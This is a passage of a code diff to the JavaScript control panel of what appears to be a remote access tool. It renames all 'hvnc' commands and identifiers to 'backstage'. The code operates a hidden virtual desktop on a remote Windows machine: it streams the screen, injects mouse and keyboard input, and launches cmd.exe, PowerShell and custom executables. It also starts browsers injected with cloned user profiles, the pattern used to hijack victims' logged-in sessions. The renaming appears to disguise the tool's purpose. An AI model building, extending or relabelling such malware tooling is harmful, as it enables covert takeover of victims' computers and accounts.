killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
|
||||
};
|
||||
}
|
||||
|
||||
applySharedSettings(await loadSharedUiSettings("hvnc"));
|
||||
const sharedSettingsSaver = createSharedUiSettingsSaver("hvnc", readSharedSettings);
|
||||
applySharedSettings(await loadSharedUiSettings("backstage"));
|
||||
const sharedSettingsSaver = createSharedUiSettingsSaver("backstage", readSharedSettings);
|
||||
|
||||
if (codecH264) {
|
||||
codecH264.checked = prefersH264;
|
||||
@@ -382,12 +382,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
setStreamState("starting", "Reconnecting");
|
||||
const mode = getWebrtcMode();
|
||||
if (displaySelect && displaySelect.value !== undefined) {
|
||||
sendCmd("hvnc_select_display", {
|
||||
sendCmd("backstage_select_display", {
|
||||
display: parseInt(displaySelect.value, 10) || 0,
|
||||
});
|
||||
}
|
||||
pushTargetFps();
|
||||
sendCmd("hvnc_start", {
|
||||
sendCmd("backstage_start", {
|
||||
autoStartExplorer: false,
|
||||
webrtc: mode === "relayed",
|
||||
...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}),
|
||||
@@ -538,9 +538,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
}
|
||||
|
||||
function handleHVNCError(msg) {
|
||||
const errorText = msg.error || msg.message || "Unknown HVNC error";
|
||||
console.error("hvnc: server error:", errorText);
|
||||
function handlebackstageError(msg) {
|
||||
const errorText = msg.error || msg.message || "Unknown backstage error";
|
||||
console.error("backstage: server error:", errorText);
|
||||
if (!launchStatusEl) return;
|
||||
if (launchHideTimer) {
|
||||
clearTimeout(launchHideTimer);
|
||||
@@ -580,7 +580,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
function requestBrowserCheck() {
|
||||
sendCmd("hvnc_browser_check", {});
|
||||
sendCmd("backstage_browser_check", {});
|
||||
}
|
||||
|
||||
const installedAppsLoading = document.getElementById("installedAppsLoading");
|
||||
@@ -604,7 +604,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (installedAppsGrid) installedAppsGrid.innerHTML = "";
|
||||
if (installedAppsCount) installedAppsCount.textContent = "";
|
||||
if (installedAppsEmpty) installedAppsEmpty.classList.add("hidden");
|
||||
sendCmd("hvnc_installed_apps", {});
|
||||
sendCmd("backstage_installed_apps", {});
|
||||
}
|
||||
|
||||
function applyInstalledAppsFilter() {
|
||||
@@ -742,7 +742,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
btn.appendChild(nameSpan);
|
||||
|
||||
btn.addEventListener("click", () => {
|
||||
sendCmd("hvnc_start_process", { path: '"' + app.exePath + '"' });
|
||||
sendCmd("backstage_start_process", { path: '"' + app.exePath + '"' });
|
||||
hideContextMenu();
|
||||
});
|
||||
installedAppsGrid.appendChild(btn);
|
||||
@@ -763,7 +763,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
return;
|
||||
}
|
||||
const msg = { type, ...payload };
|
||||
console.debug("hvnc: send", msg);
|
||||
console.debug("backstage: send", msg);
|
||||
ws.send(encodeMsgpack(msg));
|
||||
}
|
||||
|
||||
@@ -774,7 +774,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
function onWebrtcState(label, state) {
|
||||
console.debug(`hvnc webrtc[${label}]: state`, state);
|
||||
console.debug(`backstage webrtc[${label}]: state`, state);
|
||||
if (state === "connected") {
|
||||
setStreamState("streaming", `Streaming (${label})`);
|
||||
} else if (state === "failed" || state === "disconnected") {
|
||||
@@ -829,7 +829,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
setWebrtcViewActive(true);
|
||||
startWebrtcFrameTicker();
|
||||
} catch (err) {
|
||||
console.warn("hvnc webrtc: WHEP start failed, falling back to canvas", err);
|
||||
console.warn("backstage webrtc: WHEP start failed, falling back to canvas", err);
|
||||
setWebrtcViewActive(false);
|
||||
whepClient = null;
|
||||
}
|
||||
@@ -852,7 +852,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
setWebrtcViewActive(true);
|
||||
startWebrtcFrameTicker();
|
||||
} catch (err) {
|
||||
console.warn("hvnc webrtc: P2P start failed, falling back to canvas", err);
|
||||
console.warn("backstage webrtc: P2P start failed, falling back to canvas", err);
|
||||
setWebrtcViewActive(false);
|
||||
const client = p2pClient;
|
||||
p2pClient = null;
|
||||
@@ -917,9 +917,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function pushQuality(val) {
|
||||
const q = Number(val) || 90;
|
||||
const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg");
|
||||
console.debug("hvnc: pushQuality val=", val, "q=", q, "codec=", codec);
|
||||
console.debug("backstage: pushQuality val=", val, "q=", q, "codec=", codec);
|
||||
setCodecModeLabel(codec, "requested");
|
||||
sendCmd("hvnc_set_quality", { quality: q, codec });
|
||||
sendCmd("backstage_set_quality", { quality: q, codec });
|
||||
}
|
||||
|
||||
function selectedTargetFps() {
|
||||
@@ -928,7 +928,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
function pushTargetFps() {
|
||||
sendCmd("hvnc_set_fps", { fps: selectedTargetFps() });
|
||||
sendCmd("backstage_set_fps", { fps: selectedTargetFps() });
|
||||
}
|
||||
|
||||
if (targetFpsSelect) {
|
||||
@@ -942,7 +942,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (mode === "relayed" || mode === "p2p") {
|
||||
const q = Number(qualitySlider?.value) || 90;
|
||||
setCodecModeLabel("h264", "webrtc");
|
||||
sendCmd("hvnc_set_quality", { quality: q, codec: "h264", source: "webrtc" });
|
||||
sendCmd("backstage_set_quality", { quality: q, codec: "h264", source: "webrtc" });
|
||||
return;
|
||||
}
|
||||
if (qualitySlider) {
|
||||
@@ -980,11 +980,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
prefersH264 = false;
|
||||
destroyVideoDecoder();
|
||||
if (codecH264) codecH264.checked = false;
|
||||
console.warn("hvnc: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount);
|
||||
console.warn("backstage: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount);
|
||||
const q = Number(qualitySlider?.value) || 90;
|
||||
setCodecModeLabel("jpeg", "fallback");
|
||||
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||
sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" });
|
||||
sendCmd("backstage_set_quality", { quality: q, codec: "jpeg" });
|
||||
}
|
||||
if (h264ErrorCount <= 3 && typeof VideoDecoder === "function") {
|
||||
if (h264RetryTimer) clearTimeout(h264RetryTimer);
|
||||
@@ -1046,21 +1046,21 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
},
|
||||
error: (err) => {
|
||||
console.warn("hvnc: h264 decoder error", err);
|
||||
console.warn("backstage: h264 decoder error", err);
|
||||
},
|
||||
});
|
||||
videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true });
|
||||
return true;
|
||||
} catch (err) {
|
||||
console.warn("hvnc: h264 decoder unavailable", err);
|
||||
console.warn("backstage: h264 decoder unavailable", err);
|
||||
fallbackToJpegCodec(err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
displaySelect.addEventListener("change", function () {
|
||||
console.debug("hvnc: select display", displaySelect.value);
|
||||
sendCmd("hvnc_select_display", {
|
||||
console.debug("backstage: select display", displaySelect.value);
|
||||
sendCmd("backstage_select_display", {
|
||||
display: parseInt(displaySelect.value, 10),
|
||||
});
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
@@ -1076,7 +1076,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
startBtn.addEventListener("click", function () {
|
||||
const mode = getWebrtcMode();
|
||||
if (displaySelect && displaySelect.value !== undefined) {
|
||||
sendCmd("hvnc_select_display", {
|
||||
sendCmd("backstage_select_display", {
|
||||
display: parseInt(displaySelect.value, 10) || 0,
|
||||
});
|
||||
}
|
||||
@@ -1085,7 +1085,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
desiredStreaming = true;
|
||||
lastFrameAt = 0;
|
||||
setStreamState("starting", "Starting stream");
|
||||
sendCmd("hvnc_start", {
|
||||
sendCmd("backstage_start", {
|
||||
autoStartExplorer: false,
|
||||
webrtc: mode === "relayed",
|
||||
...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}),
|
||||
@@ -1096,12 +1096,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
stopBtn.addEventListener("click", function () {
|
||||
desiredStreaming = false;
|
||||
setStreamState("stopping", "Stopping stream");
|
||||
sendCmd("hvnc_stop", {});
|
||||
sendCmd("backstage_stop", {});
|
||||
stopAllWebrtc();
|
||||
});
|
||||
if (killAllBtn) {
|
||||
killAllBtn.addEventListener("click", function () {
|
||||
sendCmd("hvnc_kill_all", {});
|
||||
sendCmd("backstage_kill_all", {});
|
||||
});
|
||||
}
|
||||
fullscreenBtn.addEventListener("click", function () {
|
||||
@@ -1114,29 +1114,29 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
});
|
||||
mouseCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
kbdCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
if (uiaCtrl) {
|
||||
uiaCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
|
||||
sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
}
|
||||
|
||||
function pushHvncResolution() {
|
||||
if (hvncResolutionSelect) {
|
||||
const maxHeight = parseInt(hvncResolutionSelect.value, 10);
|
||||
sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
|
||||
function pushbackstageResolution() {
|
||||
if (backstageResolutionSelect) {
|
||||
const maxHeight = parseInt(backstageResolutionSelect.value, 10);
|
||||
sendCmd("backstage_set_resolution", { maxHeight: maxHeight });
|
||||
}
|
||||
}
|
||||
if (hvncResolutionSelect) {
|
||||
hvncResolutionSelect.addEventListener("change", function () {
|
||||
pushHvncResolution();
|
||||
if (backstageResolutionSelect) {
|
||||
backstageResolutionSelect.addEventListener("change", function () {
|
||||
pushbackstageResolution();
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
}
|
||||
@@ -1234,7 +1234,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
hasCanvasBase = false;
|
||||
}
|
||||
if (blockCount > 0 && !hasCanvasBase) {
|
||||
sendCmd("hvnc_request_keyframe", { reason: "viewer_missing_base" });
|
||||
sendCmd("backstage_request_keyframe", { reason: "viewer_missing_base" });
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -1285,7 +1285,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
videoDecoder.decode(chunk);
|
||||
updateFpsDisplay(fps);
|
||||
} catch (err) {
|
||||
console.warn("hvnc: h264 decode failed", err);
|
||||
console.warn("backstage: h264 decode failed", err);
|
||||
fallbackToJpegCodec(err);
|
||||
}
|
||||
}
|
||||
@@ -1329,36 +1329,36 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (p2pClient) p2pClient.onRemoteCandidate(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_clone_progress") {
|
||||
if (msg && msg.type === "backstage_clone_progress") {
|
||||
handleCloneProgress(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_lookup_result") {
|
||||
if (msg && msg.type === "backstage_lookup_result") {
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_check_result") {
|
||||
if (msg && msg.type === "backstage_browser_check_result") {
|
||||
handleBrowserCheckResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_installed_apps_result") {
|
||||
if (msg && msg.type === "backstage_installed_apps_result") {
|
||||
handleInstalledAppsResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
if (msg && msg.type === "backstage_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_launch_status") {
|
||||
if (msg && msg.type === "backstage_browser_launch_status") {
|
||||
handleBrowserLaunchStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_window_list_result") {
|
||||
if (msg && msg.type === "backstage_window_list_result") {
|
||||
handleWindowListResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
handleHVNCError(msg);
|
||||
if (msg && msg.type === "backstage_error") {
|
||||
handlebackstageError(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "clipboard_content") {
|
||||
@@ -1388,32 +1388,32 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (p2pClient) p2pClient.onRemoteCandidate(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_clone_progress") {
|
||||
if (msg && msg.type === "backstage_clone_progress") {
|
||||
handleCloneProgress(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_lookup_result") {
|
||||
if (msg && msg.type === "backstage_lookup_result") {
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_check_result") {
|
||||
if (msg && msg.type === "backstage_browser_check_result") {
|
||||
handleBrowserCheckResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_installed_apps_result") {
|
||||
if (msg && msg.type === "backstage_installed_apps_result") {
|
||||
handleInstalledAppsResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
if (msg && msg.type === "backstage_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_launch_status") {
|
||||
if (msg && msg.type === "backstage_browser_launch_status") {
|
||||
handleBrowserLaunchStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
if (msg && msg.type === "backstage_error") {
|
||||
console.error("backstage: server error:", msg.error || msg.message);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "clipboard_content") {
|
||||
@@ -1433,10 +1433,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
setStreamState("starting", "Resuming stream");
|
||||
const mode = getWebrtcMode();
|
||||
if (displaySelect && displaySelect.value !== undefined) {
|
||||
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
|
||||
sendCmd("backstage_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
|
||||
}
|
||||
pushTargetFps();
|
||||
sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}) });
|
||||
sendCmd("backstage_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}) });
|
||||
if (mode === "p2p") startP2P();
|
||||
syncInputEnableState();
|
||||
} else {
|
||||
@@ -1444,7 +1444,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
fetchClientInfo().then(() => {
|
||||
if (displaySelect && displaySelect.value) {
|
||||
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) });
|
||||
sendCmd("backstage_select_display", { display: parseInt(displaySelect.value, 10) });
|
||||
}
|
||||
});
|
||||
requestBrowserCheck();
|
||||
@@ -1513,7 +1513,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
lastMoveSentAt = now;
|
||||
if (ws.bufferedAmount <= inputBackpressureBytes) {
|
||||
sendCmd("hvnc_mouse_move", pendingMove);
|
||||
sendCmd("backstage_mouse_move", pendingMove);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1533,10 +1533,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (pt) {
|
||||
pendingMove = pt;
|
||||
if (ws.bufferedAmount <= inputBackpressureBytes) {
|
||||
sendCmd("hvnc_mouse_move", pt);
|
||||
sendCmd("backstage_mouse_move", pt);
|
||||
}
|
||||
}
|
||||
sendCmd("hvnc_mouse_down", { button: e.button, ...(pt || {}) });
|
||||
sendCmd("backstage_mouse_down", { button: e.button, ...(pt || {}) });
|
||||
e.preventDefault();
|
||||
});
|
||||
canvas.addEventListener("mouseup", function (e) {
|
||||
@@ -1545,10 +1545,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (pt) {
|
||||
pendingMove = pt;
|
||||
if (ws.bufferedAmount <= inputBackpressureBytes) {
|
||||
sendCmd("hvnc_mouse_move", pt);
|
||||
sendCmd("backstage_mouse_move", pt);
|
||||
}
|
||||
}
|
||||
sendCmd("hvnc_mouse_up", { button: e.button, ...(pt || {}) });
|
||||
sendCmd("backstage_mouse_up", { button: e.button, ...(pt || {}) });
|
||||
e.preventDefault();
|
||||
});
|
||||
canvas.addEventListener("contextmenu", function (e) {
|
||||
@@ -1560,7 +1560,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
const pt = getCanvasPoint(e);
|
||||
if (!pt) return;
|
||||
const delta = Math.max(-120, Math.min(120, Math.round(-e.deltaY)));
|
||||
sendCmd("hvnc_mouse_wheel", { delta, x: pt.x, y: pt.y });
|
||||
sendCmd("backstage_mouse_wheel", { delta, x: pt.x, y: pt.y });
|
||||
e.preventDefault();
|
||||
}, { passive: false });
|
||||
|
||||
@@ -1570,8 +1570,8 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
});
|
||||
const kbdCapture = createKeyboardCapture({
|
||||
container: canvas,
|
||||
sendKeyDown: (e) => sendCmd("hvnc_key_down", { key: e.key, code: e.code }),
|
||||
sendKeyUp: (e) => sendCmd("hvnc_key_up", { key: e.key, code: e.code }),
|
||||
sendKeyDown: (e) => sendCmd("backstage_key_down", { key: e.key, code: e.code }),
|
||||
sendKeyUp: (e) => sendCmd("backstage_key_up", { key: e.key, code: e.code }),
|
||||
});
|
||||
if (kbdCtrl) {
|
||||
kbdCtrl.addEventListener("change", function () {
|
||||
@@ -1591,7 +1591,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
sharedSettingsSaver.saveNow();
|
||||
if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
|
||||
desiredStreaming = false;
|
||||
sendCmd("hvnc_stop", {});
|
||||
sendCmd("backstage_stop", {});
|
||||
}
|
||||
destroyVideoDecoder();
|
||||
stopAllWebrtc();
|
||||
@@ -1631,7 +1631,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
});
|
||||
}
|
||||
|
||||
["hvncCloneToggle", "hvncCloneLiteToggle", "hvncKillIfRunningToggle"].forEach((id) => {
|
||||
["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle"].forEach((id) => {
|
||||
const el = document.getElementById(id);
|
||||
if (el) {
|
||||
el.addEventListener("change", function () {
|
||||
@@ -1645,59 +1645,59 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
item.addEventListener("click", (e) => {
|
||||
const action = e.currentTarget?.dataset?.action;
|
||||
if (action === "start-cmd") {
|
||||
sendCmd("hvnc_start_process", { path: "conhost cmd.exe" });
|
||||
sendCmd("backstage_start_process", { path: "conhost cmd.exe" });
|
||||
} else if (action === "start-powershell") {
|
||||
sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
|
||||
sendCmd("backstage_start_process", { path: "conhost powershell.exe" });
|
||||
} else if (action === "start-chrome") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-brave") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-edge") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-firefox") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-opera") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-operagx") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-vivaldi") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-yandex") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-waterfox") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-arc") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-custom") {
|
||||
hideContextMenu();
|
||||
showCustomExeModal();
|
||||
@@ -1713,47 +1713,47 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
function showCustomExeModal() {
|
||||
let overlay = document.getElementById("hvncCustomExeOverlay");
|
||||
let overlay = document.getElementById("backstageCustomExeOverlay");
|
||||
if (overlay) { overlay.remove(); }
|
||||
overlay = document.createElement("div");
|
||||
overlay.id = "hvncCustomExeOverlay";
|
||||
overlay.id = "backstageCustomExeOverlay";
|
||||
overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
|
||||
overlay.innerHTML = `
|
||||
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-96 shadow-2xl">
|
||||
<div class="text-sm font-semibold text-slate-100 mb-3">Run Custom Executable</div>
|
||||
<label class="block text-xs text-slate-400 mb-1">Exe path</label>
|
||||
<input id="hvncCustomExePath" type="text" placeholder="C:\\path\\to\\app.exe"
|
||||
<input id="backstageCustomExePath" type="text" placeholder="C:\\path\\to\\app.exe"
|
||||
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
|
||||
<label class="block text-xs text-slate-400 mb-1">Arguments (optional)</label>
|
||||
<input id="hvncCustomExeArgs" type="text" placeholder="--flag value"
|
||||
<input id="backstageCustomExeArgs" type="text" placeholder="--flag value"
|
||||
